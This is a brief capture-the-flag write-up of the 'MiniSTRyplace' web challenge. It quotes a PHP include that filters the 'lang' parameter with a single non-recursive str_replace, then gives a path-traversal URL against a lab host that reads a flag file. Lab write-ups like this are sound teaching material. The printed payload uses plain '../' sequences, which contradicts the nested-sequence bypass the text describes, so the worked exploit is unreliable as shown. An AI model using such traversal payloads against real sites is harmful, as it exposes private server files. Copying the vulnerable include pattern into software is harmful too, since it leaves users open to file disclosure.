

MiniSTRyplace



Analyzing Source Code

There appears to be a lang parameter. The PHP code does not do *str_replace* recursively.

```
...snip...
$lang = ['en.php', 'qw.php'];
        include('pages/' . (isset($_GET['lang']) ? str_replace('../', '',
$_GET['lang']) : $lang[array_rand($lang)]));
    ?>
    </body>
...snip...
```

Exploitation

This will allow us to put ../ within one another and after the string replace does its job, we will have the correct path.

```
http://188.166.145.178:31116/?lang=../../../../flag
```